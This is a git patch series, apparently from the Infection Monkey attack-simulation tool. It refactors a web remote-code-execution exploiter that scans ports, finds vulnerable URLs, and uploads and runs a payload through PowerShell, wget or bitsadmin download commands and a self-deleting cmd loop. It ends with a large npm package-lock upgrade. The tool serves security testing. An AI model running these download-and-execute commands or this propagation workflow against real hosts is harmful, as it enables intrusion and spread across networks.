""" - Gets destination path from source path. - :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from configuration - """ - if not src_path or ('linux' not in src_path and 'windows' not in src_path): - LOG.error("Can't get destination path because source path %s is invalid.", src_path) - return False - try: - if 'linux' in src_path: - return self._config.dropper_target_path_linux - elif "windows-32" in src_path: - return self._config.dropper_target_path_win_32 - else: - return self._config.dropper_target_path_win_64 - except AttributeError: - LOG.error("Seems like configuration properties names changed. " - "Can not get destination path to upload monkey") - return False - # Wrapped functions: def get_ports_w(self, ports, names): + """ + Get ports wrapped with log + :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] + """ ports = WebRCE.get_open_service_ports(self.host, ports, names) if not ports: LOG.info("All default web ports are closed on %r, skipping", host) @@ -223,15 +209,11 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") - lock = Lock() - path = WebRCE.get_monkey_dest_path(self._config, src_path) + path = get_monkey_dest_path(src_path) if not path: return False - # To avoid race conditions we pass a locked lock to http servers thread - lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock) - lock.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -252,7 +234,6 @@ class WebRCE(HostExploiter): LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = self.exploit(url, backup_command) - lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 0c1e5a09b..31bc77eb8 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -29,7 +29,4 @@ CHECK_COMMAND = "echo %s" % ID_STRING ARCH_WINDOWS = "wmic os get osarchitecture" ARCH_LINUX = "lscpu" -# Commands used to check if monkeys already exists -EXISTS = "ls %s" - DOWNLOAD_TIMEOUT = 300 \ No newline at end of file From 0d45a44d6b1600ef78da8d520898205a9b23c621 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 10 Aug 2018 15:07:56 +0300 Subject: [PATCH 071/137] Final, tested framework fixes --- infection_monkey/exploit/web_rce.py | 32 ++++++++++++++--------------- infection_monkey/model/__init__.py | 3 +-- 2 files changed, 16 insertions(+), 19 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index d3ae83b6d..f99e4da52 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -107,7 +107,6 @@ class WebRCE(HostExploiter): else: extensions = [""] for port in ports: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] for extension in extensions: if port[1]: protocol = "https" @@ -127,9 +126,12 @@ class WebRCE(HostExploiter): resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string - # TODO TEST IF NOT FOUND arch = re.search('(?<=Architecture:)\s+(\w+)', resp) - arch = arch.group(1) + try: + arch = arch.group(1) + except AttributeError: + LOG.error("Looked for linux architecture but could not find it") + return False if arch: return arch else: @@ -167,7 +169,7 @@ class WebRCE(HostExploiter): else: paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) for path in paths: - if self.check_remote_file(url, path): + if self.check_remote_monkey_file(url, path): return True return False @@ -179,15 +181,15 @@ class WebRCE(HostExploiter): :param names: [] of service names. Example: ["http"] :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] """ - ports = WebRCE.get_open_service_ports(self.host, ports, names) + ports = self.get_open_service_ports(ports, names) if not ports: LOG.info("All default web ports are closed on %r, skipping", host) return False else: return ports - def set_host_arch(self, exploiter, url): - arch = WebRCE.get_host_arch(exploiter, url) + def set_host_arch(self, url): + arch = self.get_host_arch(url) if not arch: LOG.error("Couldn't get host machine's architecture") return False @@ -203,7 +205,7 @@ class WebRCE(HostExploiter): :return: {'response': response/False, 'path': monkeys_path_in_host} """ LOG.info("Trying to upload monkey to the host.") - src_path = get_target_monkey(host) + src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) return False @@ -213,7 +215,7 @@ class WebRCE(HostExploiter): if not path: return False # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -223,10 +225,9 @@ class WebRCE(HostExploiter): return False # Choose command: if commands: - command = WebRCE.get_command(self.host, path, http_path, commands) + command = self.get_command(path, http_path, commands) else: - command = WebRCE.get_command(self.host, path, http_path, - {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) resp = self.exploit(url, command) @@ -283,10 +284,10 @@ class WebRCE(HostExploiter): LOG.info("Trying to execute remote monkey") # Get monkey command line if dropper and path: - monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1, path) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} else: - monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: resp = self.exploit(url, command) @@ -306,6 +307,3 @@ class WebRCE(HostExploiter): return False LOG.info("Execution attempt finished") return resp - - - diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 31bc77eb8..8b4f8d4ab 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,8 +17,7 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" -POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" From b8bda692b91341d790f3e3f64717ef0d3ace0f4e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 15 Aug 2018 16:01:27 +0300 Subject: [PATCH 072/137] Notes fixed v.2 --- infection_monkey/exploit/tools.py | 21 +++++----- infection_monkey/exploit/web_rce.py | 59 ++++++++++++++++++++++++----- infection_monkey/model/__init__.py | 4 +- infection_monkey/transport/http.py | 4 ++ 4 files changed, 65 insertions(+), 23 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 3b5b40649..08cc94af1 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -393,10 +393,9 @@ class HTTPTools(object): Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system - :param lock: Instance of lock - :param local_ip: - :param local_port: - :return: + :param local_ip: IP where to host server + :param local_port: Port at which to host monkey's download + :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler """ # To avoid race conditions we pass a locked lock to http servers thread lock = Lock() @@ -514,22 +513,22 @@ def get_monkey_depth(): return WormConfiguration.depth -def get_monkey_dest_path(src_path): +def get_monkey_dest_path(url_to_monkey): """ Gets destination path from source path. - :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ from config import WormConfiguration - if not src_path or ('linux' not in src_path and 'windows' not in src_path): - LOG.error("Can't get destination path because source path %s is invalid.", src_path) + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) return False try: - if 'linux' in src_path: + if 'linux' in url_to_monkey: return WormConfiguration.dropper_target_path_linux - elif 'windows-32' in src_path: + elif 'windows-32' in url_to_monkey: return WormConfiguration.dropper_target_path_win_32 - elif 'windows-64' in src_path: + elif 'windows-64' in url_to_monkey: return WormConfiguration.dropper_target_path_win_64 else: LOG.error("Could not figure out what type of monkey server was trying to upload, " diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index f99e4da52..48a599f5c 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -1,6 +1,5 @@ import logging -from threading import Lock from exploit import HostExploiter from model import * from posixpath import join @@ -24,9 +23,50 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist - @abstractmethod def exploit_host(self): - raise NotImplementedError() + """ + Example workflow of the framework. Most likely you will have to override this method. + :return: True if exploited and False otherwise. + """ + # Get open ports + ports = self.get_ports_w(self.HTTP, ["http"]) + if not ports: + return False + # Get urls to try to exploit + urls = self.build_potential_urls(ports) + vulnerable_urls = [] + for url in urls: + if self.check_if_exploitable(url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + + if not vulnerable_urls: + return False + + # Skip if monkey already exists and this option is given + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + # Check for targets architecture (if it's 32 or 64 bit) + if not self.set_host_arch(vulnerable_urls[0]): + return False + + # Upload the right monkey to target + data = self.upload_monkey(vulnerable_urls[0]) + + if data is not False and data['response'] is False: + return False + + # Change permissions to transform monkey into executable file + if self.change_permissions(vulnerable_urls[0], data['path']) is False: + return False + + # Execute remote monkey + if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: + return False + + return True @abstractmethod def exploit(self, url, command): @@ -34,7 +74,7 @@ class WebRCE(HostExploiter): A reference to a method which implements web exploit logic. :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. :param command: Command which will be executed on remote host - :return: Command's output string. Or True/False if it's a blind exploit + :return: RCE's output/True if successful or False if failed """ raise NotImplementedError() @@ -123,7 +163,7 @@ class WebRCE(HostExploiter): :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... """ if 'linux' in self.host.os['type']: - resp = self.exploit(url, ARCH_LINUX) + resp = self.exploit(url, GET_ARCH_LINUX) if resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) @@ -140,7 +180,7 @@ class WebRCE(HostExploiter): else: return False else: - resp = self.exploit(url, ARCH_WINDOWS) + resp = self.exploit(url, GET_ARCH_WINDOWS) if resp: if "64-bit" in resp: return "64" @@ -224,10 +264,9 @@ class WebRCE(HostExploiter): LOG.error("Unknown target's os type. Skipping.") return False # Choose command: - if commands: - command = self.get_command(path, http_path, commands) - else: - command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + if not commands: + commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} + command = self.get_command(path, http_path, commands) resp = self.exploit(url, command) diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 8b4f8d4ab..4a8218a2e 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -25,7 +25,7 @@ RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands -ARCH_WINDOWS = "wmic os get osarchitecture" -ARCH_LINUX = "lscpu" +GET_ARCH_WINDOWS = "wmic os get osarchitecture" +GET_ARCH_LINUX = "lscpu" DOWNLOAD_TIMEOUT = 300 \ No newline at end of file diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index aa6cf4ee0..72664f0ab 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -187,6 +187,10 @@ class HTTPServer(threading.Thread): class LockedHTTPServer(threading.Thread): """ Same as HTTPServer used for file downloads just with locks to avoid racing conditions. + You create a lock instance and pass it to this server's constructor. Then acquire the lock + before starting the server and after it. Once the server starts it will release the lock + and subsequent code will be able to continue to execute. That way subsequent code will + always call already running HTTP server """ # Seconds to wait until server stops STOP_TIMEOUT = 5 From 2a393d6ed550d4bfde7acdec5e7d435eefa4b52f Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 16 Aug 2018 17:08:03 +0300 Subject: [PATCH 073/137] Upgrade npm packages and make required modifications --- monkey_island/cc/ui/.babelrc | 7 +- monkey_island/cc/ui/cfg/base.js | 43 - monkey_island/cc/ui/cfg/defaults.js | 68 - monkey_island/cc/ui/cfg/dev.js | 47 - monkey_island/cc/ui/cfg/dist.js | 42 - monkey_island/cc/ui/cfg/test.js | 51 - monkey_island/cc/ui/package-lock.json | 16817 ++++++++++------ monkey_island/cc/ui/package.json | 78 +- monkey_island/cc/ui/src/components/Main.js | 10 +- .../cc/ui/src/components/map/MapOptions.js | 3 +- monkey_island/cc/ui/src/index.html | 5 +- .../cc/ui/src/server_config/ServerConfig.js | 2 +- monkey_island/cc/ui/webpack.config.js | 98 +- 13 files changed, 11241 insertions(+), 6030 deletions(-) delete mode 100644 monkey_island/cc/ui/cfg/base.js delete mode 100644 monkey_island/cc/ui/cfg/defaults.js delete mode 100644 monkey_island/cc/ui/cfg/dev.js delete mode 100644 monkey_island/cc/ui/cfg/dist.js delete mode 100644 monkey_island/cc/ui/cfg/test.js diff --git a/monkey_island/cc/ui/.babelrc b/monkey_island/cc/ui/.babelrc index 974a1ca3b..9e8720a99 100644 --- a/monkey_island/cc/ui/.babelrc +++ b/monkey_island/cc/ui/.babelrc @@ -1,7 +1,4 @@ { - "presets": [ - "es2015", - "stage-0", - "react" - ] + "presets": ["es2015", "stage-0", "react"] + } diff --git a/monkey_island/cc/ui/cfg/base.js b/monkey_island/cc/ui/cfg/base.js deleted file mode 100644 index 751648fd6..000000000 --- a/monkey_island/cc/ui/cfg/base.js +++ /dev/null @@ -1,43 +0,0 @@ -'use strict'; -let path = require('path'); -let defaultSettings = require('./defaults'); - -// Additional npm or bower modules to include in builds -// Add all foreign plugins you may need into this array -// @example: -// let npmBase = path.join(__dirname, '../node_modules'); -// let additionalPaths = [ path.join(npmBase, 'react-bootstrap') ]; -let additionalPaths = []; - -module.exports = { - additionalPaths: additionalPaths, - port: defaultSettings.port, - debug: true, - devtool: 'eval', - output: { - path: path.join(__dirname, '/../dist/assets'), - filename: 'app.js', - publicPath: defaultSettings.publicPath - }, - devServer: { - contentBase: './src/', - historyApiFallback: true, - hot: true, - port: defaultSettings.port, - publicPath: defaultSettings.publicPath, - noInfo: false - }, - resolve: { - extensions: ['', '.js', '.jsx'], - alias: { - actions: `${defaultSettings.srcPath}/actions/`, - components: `${defaultSettings.srcPath}/components/`, - sources: `${defaultSettings.srcPath}/sources/`, - stores: `${defaultSettings.srcPath}/stores/`, - styles: `${defaultSettings.srcPath}/styles/`, - config: `${defaultSettings.srcPath}/config/` + process.env.REACT_WEBPACK_ENV, - 'react/lib/ReactMount': 'react-dom/lib/ReactMount' - } - }, - module: {} -}; diff --git a/monkey_island/cc/ui/cfg/defaults.js b/monkey_island/cc/ui/cfg/defaults.js deleted file mode 100644 index 0cfb322dd..000000000 --- a/monkey_island/cc/ui/cfg/defaults.js +++ /dev/null @@ -1,68 +0,0 @@ -/** - * Function that returns default values. - * Used because Object.assign does a shallow instead of a deep copy. - * Using [].push will add to the base array, so a require will alter - * the base array output. - */ -'use strict'; - -const path = require('path'); -const srcPath = path.join(__dirname, '/../src'); -const dfltPort = 8000; - -/** - * Get the default modules object for webpack - * @return {Object} - */ -function getDefaultModules() { - return { - preLoaders: [ - { - test: /\.(js|jsx)$/, - include: srcPath, - loader: 'eslint-loader' - } - ], - loaders: [ - { - test: /\.css$/, - loader: 'style-loader!css-loader' - }, - { - test: /\.sass/, - loader: 'style-loader!css-loader!sass-loader?outputStyle=expanded&indentedSyntax' - }, - { - test: /\.scss/, - loader: 'style-loader!css-loader!sass-loader?outputStyle=expanded' - }, - { - test: /\.less/, - loader: 'style-loader!css-loader!less-loader' - }, - { - test: /\.styl/, - loader: 'style-loader!css-loader!stylus-loader' - }, - { - test: /\.(png|jpg|gif)$/, - loader: 'url-loader?limit=8192' - }, - { - test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/, - loader: 'url-loader?limit=10000&mimetype=application/font-woff' - }, - { - test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/, - loader: 'file-loader' - } - ] - }; -} - -module.exports = { - srcPath: srcPath, - publicPath: '/assets/', - port: dfltPort, - getDefaultModules: getDefaultModules -}; diff --git a/monkey_island/cc/ui/cfg/dev.js b/monkey_island/cc/ui/cfg/dev.js deleted file mode 100644 index d9df1737b..000000000 --- a/monkey_island/cc/ui/cfg/dev.js +++ /dev/null @@ -1,47 +0,0 @@ -'use strict'; - -let path = require('path'); -let webpack = require('webpack'); -let baseConfig = require('./base'); -let defaultSettings = require('./defaults'); - -// Add needed plugins here -let BowerWebpackPlugin = require('bower-webpack-plugin'); - -let config = Object.assign({}, baseConfig, { - entry: [ - 'webpack-dev-server/client?http://127.0.0.1:' + defaultSettings.port, - 'webpack/hot/only-dev-server', - './src/index' - ], - cache: true, - devtool: 'eval-source-map', - plugins: [ - new webpack.HotModuleReplacementPlugin(), - new webpack.NoErrorsPlugin(), - new BowerWebpackPlugin({ - searchResolveModulesDirectories: false - }) - ], - module: defaultSettings.getDefaultModules() -}); - -// Add needed loaders to the defaults here -config.module.loaders.push({ - test: /\.(js|jsx)$/, - loader: 'react-hot!babel-loader', - include: [].concat( - config.additionalPaths, - [ path.join(__dirname, '/../src') ] - ) -}); - -// proxy to backend server -config.devServer.proxy = { - '/api': { - target: 'https://localhost:5000', - secure: false - } -}; - -module.exports = config; diff --git a/monkey_island/cc/ui/cfg/dist.js b/monkey_island/cc/ui/cfg/dist.js deleted file mode 100644 index 1fc19c4a3..000000000 --- a/monkey_island/cc/ui/cfg/dist.js +++ /dev/null @@ -1,42 +0,0 @@ -'use strict'; - -let path = require('path'); -let webpack = require('webpack'); - -let baseConfig = require('./base'); -let defaultSettings = require('./defaults'); - -// Add needed plugins here -let BowerWebpackPlugin = require('bower-webpack-plugin'); - -let config = Object.assign({}, baseConfig, { - entry: path.join(__dirname, '../src/index'), - cache: false, - devtool: 'sourcemap', - plugins: [ - new webpack.optimize.DedupePlugin(), - new webpack.DefinePlugin({ - 'process.env.NODE_ENV': '"production"' - }), - new BowerWebpackPlugin({ - searchResolveModulesDirectories: false - }), - new webpack.optimize.UglifyJsPlugin(), - new webpack.optimize.OccurenceOrderPlugin(), - new webpack.optimize.AggressiveMergingPlugin(), - new webpack.NoErrorsPlugin() - ], - module: defaultSettings.getDefaultModules() -}); - -// Add needed loaders to the defaults here -config.module.loaders.push({ - test: /\.(js|jsx)$/, - loader: 'babel', - include: [].concat( - config.additionalPaths, - [ path.join(__dirname, '/../src') ] - ) -}); - -module.exports = config; diff --git a/monkey_island/cc/ui/cfg/test.js b/monkey_island/cc/ui/cfg/test.js deleted file mode 100644 index f020fb3d4..000000000 --- a/monkey_island/cc/ui/cfg/test.js +++ /dev/null @@ -1,51 +0,0 @@ -'use strict'; - -let path = require('path'); -let srcPath = path.join(__dirname, '/../src/'); - -let baseConfig = require('./base'); - -// Add needed plugins here -let BowerWebpackPlugin = require('bower-webpack-plugin'); - -module.exports = { - devtool: 'eval', - module: { - preLoaders: [ - ], - loaders: [ - { - test: /\.(png|jpg|gif|woff|woff2|css|sass|scss|less|styl)$/, - loader: 'null-loader' - }, - { - test: /\.(js|jsx)$/, - loader: 'babel-loader', - include: [].concat( - baseConfig.additionalPaths, - [ - path.join(__dirname, '/../src'), - path.join(__dirname, '/../test') - ] - ) - } - ] - }, - resolve: { - extensions: [ '', '.js', '.jsx' ], - alias: { - actions: srcPath + 'actions/', - helpers: path.join(__dirname, '/../test/helpers'), - components: srcPath + 'components/', - sources: srcPath + 'sources/', - stores: srcPath + 'stores/', - styles: srcPath + 'styles/', - config: srcPath + 'config/' + process.env.REACT_WEBPACK_ENV - } - }, - plugins: [ - new BowerWebpackPlugin({ - searchResolveModulesDirectories: false - }) - ] -}; diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 79bf9178f..2a31a6543 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -3,6 +3,452 @@ "lockfileVersion": 1, "requires": true, "dependencies": { + "@babel/code-frame": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.0.0-beta.44.tgz", + "integrity": "sha512-cuAuTTIQ9RqcFRJ/Y8PvTh+paepNcaGxwQwjIDRWPXmzzyAeCO4KqS9ikMvq0MCbRk6GlYKwfzStrcP3/jSL8g==", + "dev": true, + "requires": { + "@babel/highlight": "7.0.0-beta.44" + } + }, + "@babel/generator": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.0.0-beta.44.tgz", + "integrity": "sha512-5xVb7hlhjGcdkKpMXgicAVgx8syK5VJz193k0i/0sLP6DzE6lRrU1K3B/rFefgdo9LPGMAOOOAWW4jycj07ShQ==", + "dev": true, + "requires": { + "@babel/types": "7.0.0-beta.44", + "jsesc": "2.5.1", + "lodash": "4.17.10", + "source-map": "0.5.6", + "trim-right": "1.0.1" + }, + "dependencies": { + "jsesc": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.1.tgz", + "integrity": "sha1-5CGiqOINawgZ3yiQj3glJrlt0f4=", + "dev": true + } + } + }, + "@babel/helper-function-name": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.0.0-beta.44.tgz", + "integrity": "sha512-MHRG2qZMKMFaBavX0LWpfZ2e+hLloT++N7rfM3DYOMUOGCD8cVjqZpwiL8a0bOX3IYcQev1ruciT0gdFFRTxzg==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "7.0.0-beta.44", + "@babel/template": "7.0.0-beta.44", + "@babel/types": "7.0.0-beta.44" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.0.0-beta.44.tgz", + "integrity": "sha512-w0YjWVwrM2HwP6/H3sEgrSQdkCaxppqFeJtAnB23pRiJB5E/O9Yp7JAAeWBl+gGEgmBFinnTyOv2RN7rcSmMiw==", + "dev": true, + "requires": { + "@babel/types": "7.0.0-beta.44" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.0.0-beta.44.tgz", + "integrity": "sha512-aQ7QowtkgKKzPGf0j6u77kBMdUFVBKNHw2p/3HX/POt5/oz8ec5cs0GwlgM8Hz7ui5EwJnzyfRmkNF1Nx1N7aA==", + "dev": true, + "requires": { + "@babel/types": "7.0.0-beta.44" + } + }, + "@babel/highlight": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.0.0-beta.44.tgz", + "integrity": "sha512-Il19yJvy7vMFm8AVAh6OZzaFoAd0hbkeMZiX3P5HGD+z7dyI7RzndHB0dg6Urh/VAFfHtpOIzDUSxmY6coyZWQ==", + "dev": true, + "requires": { + "chalk": "2.4.1", + "esutils": "2.0.2", + "js-tokens": "3.0.2" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "3.0.0" + } + } + } + }, + "@babel/template": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.0.0-beta.44.tgz", + "integrity": "sha512-w750Sloq0UNifLx1rUqwfbnC6uSUk0mfwwgGRfdLiaUzfAOiH0tHJE6ILQIUi3KYkjiCDTskoIsnfqZvWLBDng==", + "dev": true, + "requires": { + "@babel/code-frame": "7.0.0-beta.44", + "@babel/types": "7.0.0-beta.44", + "babylon": "7.0.0-beta.44", + "lodash": "4.17.10" + }, + "dependencies": { + "babylon": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/babylon/-/babylon-7.0.0-beta.44.tgz", + "integrity": "sha512-5Hlm13BJVAioCHpImtFqNOF2H3ieTOHd0fmFGMxOJ9jgeFqeAwsv3u5P5cR7CSeFrkgHsT19DgFJkHV0/Mcd8g==", + "dev": true + } + } + }, + "@babel/traverse": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.0.0-beta.44.tgz", + "integrity": "sha512-UHuDz8ukQkJCDASKHf+oDt3FVUzFd+QYfuBIsiNu/4+/ix6pP/C+uQZJ6K1oEfbCMv/IKWbgDEh7fcsnIE5AtA==", + "dev": true, + "requires": { + "@babel/code-frame": "7.0.0-beta.44", + "@babel/generator": "7.0.0-beta.44", + "@babel/helper-function-name": "7.0.0-beta.44", + "@babel/helper-split-export-declaration": "7.0.0-beta.44", + "@babel/types": "7.0.0-beta.44", + "babylon": "7.0.0-beta.44", + "debug": "3.1.0", + "globals": "11.7.0", + "invariant": "2.2.2", + "lodash": "4.17.10" + }, + "dependencies": { + "babylon": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/babylon/-/babylon-7.0.0-beta.44.tgz", + "integrity": "sha512-5Hlm13BJVAioCHpImtFqNOF2H3ieTOHd0fmFGMxOJ9jgeFqeAwsv3u5P5cR7CSeFrkgHsT19DgFJkHV0/Mcd8g==", + "dev": true + }, + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "globals": { + "version": "11.7.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.7.0.tgz", + "integrity": "sha512-K8BNSPySfeShBQXsahYB/AbbWruVOTyVpgoIDnl8odPpeSfP2J5QO2oLFFdl2j7GfDCtZj2bMKar2T49itTPCg==", + "dev": true + } + } + }, + "@babel/types": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.0.0-beta.44.tgz", + "integrity": "sha512-5eTV4WRmqbaFM3v9gHAIljEQJU4Ssc6fxL61JN+Oe2ga/BwyjzjamwkCVVAQjHGuAX8i0BWo42dshL8eO5KfLQ==", + "dev": true, + "requires": { + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "2.0.0" + }, + "dependencies": { + "to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=", + "dev": true + } + } + }, + "@webassemblyjs/ast": { + "version": "1.5.13", + "resolved": 